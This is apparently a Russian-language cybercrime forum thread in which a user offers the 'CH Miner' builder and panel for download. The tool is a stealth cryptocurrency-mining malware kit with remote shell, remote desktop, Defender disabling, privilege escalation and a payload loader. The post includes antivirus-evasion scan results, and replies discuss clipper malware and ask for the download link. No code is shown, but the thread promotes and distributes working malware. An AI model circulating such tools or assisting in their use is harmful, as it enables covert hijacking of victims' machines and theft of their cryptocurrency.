• XSS.stack #1 – первый литературный журнал от юзеров форума

malware CH Miner 4.0 Builder + Panel, Last stable version

Статус
Закрыто для дальнейших ответов.
Отслеживать
Ingiborga

Ingiborga

(L3) cache
Забанен
Регистрация
12.12.2020
Сообщения
177
Реакции
43
Пожалуйста, обратите внимание, что пользователь заблокирован
CH Miner - Скрытая система майнинга и контроля для любых консольных майнеров.

Workers.PNG


Снимок.PNG
​


Сканы:

1 file

avcheck.net

Report #1c50fbfe53da025471740bb054f851df | Dyncheck.com

dyncheck.com
​
Функционал:
  • Скрытый запуск любых майнеров с консольными параметрами.​
  • Определение CPU/GPU - Кол-во памяти видео карты и подбор нужного майнера в зависимости от памяти GPU​
  • Майнеры отправляются в сжатом zip архиве с паролем что позволяет уменьшить рантайм детект и сжать очень тяжелые майнеры(например более 650мб что бы не слили на ВТ после крипта)​
  • В комплекте 3 почищенных майнера под RavenCoin, Monero, Ethereum.​
  • Авто-старт майнеров при появлении новых ботов​

Доп. Функции:
  • File Loader​
  • Remote Desktop​
  • File Manager​
  • Process Manager​
  • Remote Shell​
  • Execute .NET Code​
  • Get Admin Privileges​
  • Disable Windows Defender​
  • Visit WebSite​
  • Send MessageBox​
  • Client: Close, Restart, update, uinstall​
  • PC: LogOff, Restart, Shutdown​
  • Block Bot​

Защита:
  • Aggressive - не дает запускаться популярным диспетчерам задач.​
  • Easy - При обнаружении популярных диспетчеров задач завершает процессы майнинга и себя(ждет 4 минуты и снова запускается убивая 1 раз все диспетчеры задач)​


Тестить на ВМ! Но вроде чист, на лева не стучал не билд не панель.
mega.nz

File on MEGA

mega.nz mega.nz

CPU.PNG

GPU.PNG

Settings.PNG
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DevlpVLM сказал(а):
Ну это биржа, мне не охото там кошелек делать, есть обычный? Холодный
Первая ссылка в гугле: https://ravencoin.org/wallet/ надо быть слепым что бы не увидеть.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это же не кряк, он сам слил его и если я не ошибаюсь там клипак его в билде стоит, но хз надо проверять
 
Пожалуйста, обратите внимание, что пользователь заблокирован
alfy1331 сказал(а):
Это же не кряк, он сам слил его и если я не ошибаюсь там клипак его в билде стоит, но хз надо проверять
Не кто и не говорил что это кряк, это на прямую от автора, он раздал билдер с панелью всем клиентам включая меня. Клиппера там нет, я проверял, он на это и сделал расчет что бы модуль клиппера покупали кому надо, но я клиппер свой гуружу просто лоадером. Что там за приватный модуль клиппера хз.

Снимок.PNG
 
Ingiborga сказал(а):
Не кто и не говорил что это кряк, это на прямую от автора, он раздал билдер с панелью всем клиентам включая меня. Клиппера там нет, я проверял, он на это и сделал расчет что бы модуль клиппера покупали кому надо, но я клиппер свой гуружу просто лоадером. Что там за приватный модуль клиппера хз.

Посмотреть вложение 21601
Подскажи а каким клиппером пользуешься?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
MrBest сказал(а):
Подскажи а каким клиппером пользуешься?
Я заказывал за $, простенький, только под крипту.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Builder 5.1, Build 2.2.3
Исправление ошибок в коде билда.
Переработан способ заражения
Оптимизирована отправка данных на сервер(не нагружает панель)
Добавлен выбор удалять или нет после запуска билда с его места первоначального старта:

Снимок.PNG


А так же переработан обфускатор в самом билдере.

Снимок.PNG


 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Ingiborga сказал(а):
Builder 5.1, Build 2.2.3
Correction of errors in the build code.
Reworked the way of infection
Optimized sending data to the server (does not load the panel)
Added a choice to delete or not after starting the build from its place of initial start:

[ATTACH = full] 22067 [/ ATTACH]

Also, the obfuscator has been redesigned in the builder itself.

can you drop the link in a pm please?
 
Builder 5.1, Build 2.2.3
Ingiborga сказал(а):
Исправление ошибок в коде билда.
Переработан способ заражения
Оптимизирована отправка данных на сервер(не нагружает панель)
Добавлен выбор удалять или нет после запуска билда с его места первоначального старта:

Посмотреть вложение 22067

А так же переработан обфускатор в самом билдере.

Посмотреть вложение 22068

Скрытое содержимое
Дайте пожалуйста ссылку в личку
 
Статус
Закрыто для дальнейших ответов.
Верх